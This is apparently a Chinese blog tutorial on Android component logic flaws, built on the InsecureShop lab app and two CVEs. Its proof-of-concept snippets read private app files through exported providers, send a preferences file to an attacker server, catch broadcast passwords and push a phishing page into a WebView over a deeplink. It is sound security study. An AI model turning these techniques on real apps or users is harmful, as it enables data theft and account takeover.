让我们基于文章 Android 组件逻辑漏洞漫谈对漏洞简单分类。使用开源项目 InsecureShop 作为示例
# Activity
activity 中一个重要的属性是 android:exported 。表明当前 Activity 是否可以被其他应用启动。
# Intent Redirection
android:exported 属性为 true 的 Activty 可以接收第三方应用的 Intent。假如将不可信 Intent 进行转发,就有可能造成未导出组件泄露
# CVE-2024-26131
1 | if (getIntent().hasExtra(EXTRA_NEXT_INTENT)) { |
注意到当 Intent 中附带了另一个 Intent 时,应用会调用 startIntentAndFinish 方法启动 Intent 对应的 activity。

意味着可以通过这一点去启动其他未导出组件。
作为隐私对话软件,Element 有自己的应用密码。 PinActivity 是修改密码的页面。只要通过 Intent 重定向直接启动 PinActivity ,攻击者就可以修改为自己的密码并登录。
接下来编写第三方软件复现。
1 | val innerIntent = Intent().apply { |
注意要把 PinArgs 和 PinMode 复制到自己的应用。
点击按钮启动逻辑,成功跳转到修改密码页面。

# 其他
对于点击劫持和 Fragment 注入,我认为目前这种漏洞已经很少见了。所以只做了解
不可忽视的威胁:Android 中的点击劫持攻击
# ContentProvider
ContentProvider 除了 exported 属性之外,还有 permission 属性,表示访问所需的权限。
此外,Provider 还提供了 grantUriPermissions ,表示是否允许临时为客户端授予该 provider 的访问权限
# Export
ContentProvider 设为 exported = "ture" 导致第三方应用可以访问造成的数据泄露。
AndroidManifest.xml 文件定义:

具体代码

查询方法没有验证调用者身份,任何本地应用都可以读取
1 | val uri = Uri.parse("content://com.insecureshop.provider/insecure") |

# CVE-2025-21615
xml 文件中没有写出任何权限

同时 GpxProvider 也没有对 uri 进行验证,直接打开了文件

利用这个任何第三方应用都可以内部目录下的文件内容
1 | val targetFile = "/data/data/ch.bailu.aat/shared_prefs/Preferences.xml" |

# openFile
Content Provider 中除了增删查改方法外,如果想实现共享文件读写,那么还可以重写 openFile 方法。
假如没有对 uri 进行验证,就可能出现路径穿越等问题导致私有目录文件泄露。
像上面的例子中,就没有对 uri 进行验证。
有趣的是,在我搜索相关资料的过程中,发现一个来自 2013 年的路径穿越漏洞,而直到 2025 年仍然有这种漏洞,看的出来非常经典_
# ESC 中的 openFile 漏洞
FileContentProvider 导出

并且 openFile 中的 uri 仅仅将前缀替换,未作验证。可以任意访问私有目录中的文件

正确写法
1 | public ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException { |
# Service
service 启动时会调用 Service.onCreate () 方法。每次 startService 会调用 Service.onStartCommand
# Implicit Export
Service 同样有 android:exported 属性。
上传服务被设为导出

被导出的这个服务可以接收任意 intent

直接从 intent 中获取附带的类,不做校验直接执行上传操作。并且应用申请了用户的读写权限

也就是说可以读取外部存储中的任意文件。此外应用还获取了 READ_CONTACTS ,可以泄露联系人信息。
现在尝试利用漏洞,将私有目录下的 Prefs.xml 上传到攻击者服务器(本地起的一个 server)。
1 | val uploadFile = UploadFile("/data/data/com.insecureshop/shared_prefs/Prefs.xml") |
上传成功

# Intent 重定向
嵌套 Intent 之前在 activity 中也出现过,原理相同

一个导出的 Service,在获取 Intent 时,如果该 Intent 附加了另一个 Intent,就会导致未导出的 Activity 被启动。比如 PrivateActivity

这个 activity 不能导出,内部逻辑为加载任意 url

这样就会导致攻击者可以在应用内打开任意网站,实现钓鱼网站攻击等 。
# 其他
同样,我认为服务劫持这种漏洞已经不常见了,所以不做分析
AIDL 看不懂
# Broadcast Receivers
# Implicit Export
广播分为动态注册和静态注册。
静态注册在 AndroidManifest.xml 中进行。示例:
1 |
|
动态注册在代码中进行。
AboutUsActivity 中注册了广播。注意到没有使用第三个可选参数 permission

广播实现类

在未对 uri 做校验的情况下,直接用 WebView 打开 uri。如上面所说,会受到攻击。
# 信息泄露
同一个类中另外还有一个方法

会将用户密码广播出去。隐式 sendBroadcast 会将广播发给匹配 action 且对外导出的广播接收器。
注册广播接收器,并重写 onReceive 方法。
当点击这一页时,应用可以接收到泄露出的信息
1 | val filter = IntentFilter("com.insecureshop.action.BROADCAST") |

# PendingIntent
PendingIntent 可以看作 Intent 的高级版本,实现了一种委托授权发送 Intent 进行组件间通信的机制
ActivityPendingInten 漏洞
先来看 getActivity 方法
intent 通常用来启动 activity,flags 参数决定了 PendingIntent 的⾏为。上面说到,Content Provider 有一种特殊的 premission,当 exported 设为 false 时,假如 grantUriPermissions 设为 true,第三方应用仍然可以获得访问权限。
所以,当 Intent 为隐式时,攻击 app 只需要拿到 PengingIntent 对象,修改 Intent 的一些成员,就可以让这个 Intent 匹配到攻击者 app
1 | base.setData(Uri.parse("content://com.victim.private.provider/secret")); // 指向受害者私有 provider |
PendingIntent 的发送方是受害者 app,可以对攻击方 app 进行授权。攻击方拿到 read/write 权限,就可以读写受害者 app 未导出 Provider 的数据
在安卓 12,为了修复这个漏洞,引入了 FLAG_IMMUTABLE 和 FLAG_MUTABLE 。如果 flags 设置为 FLAG_IMMUTABLE ,则这个 intent 不能被修改,自然也就不能匹配到攻击方应用了。
PendingIntent 重定向:一种针对安卓系统和流行 App 的通用提权方法 ——BlackHat EU 2021 议题详解(上)
https://mp.weixin.qq.com/s/ifrErL88_8wN36WT8QbLvg
# deepLink
Android 中的特殊攻击面(二)—— 危险的 deeplink
# 通过 deeplink 操纵 WebView
应用版本比较旧,如果没有明确写出 exported="false" 则默认为 true

启用的两个比较危险的功能:允许执行 js 代码、允许对本地文件访问

并且接下来几乎没有校验

/webview 下对 uri 通过 endwith 进行白名单匹配,但是这样不起作用。匹配的应该是域名。详情可见:一文彻底搞懂安卓 WebView 白名单校验 - FreeBuf 网络安全行业门户
接下来使用 adb 验证漏洞。
1 | adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=http%3A%2F%2F172.20.10.4%3A8000%2F" |
本地写一个 html 文件,伪造成登录页面

将获取到的数据回传到服务端。

实现钓鱼网站攻击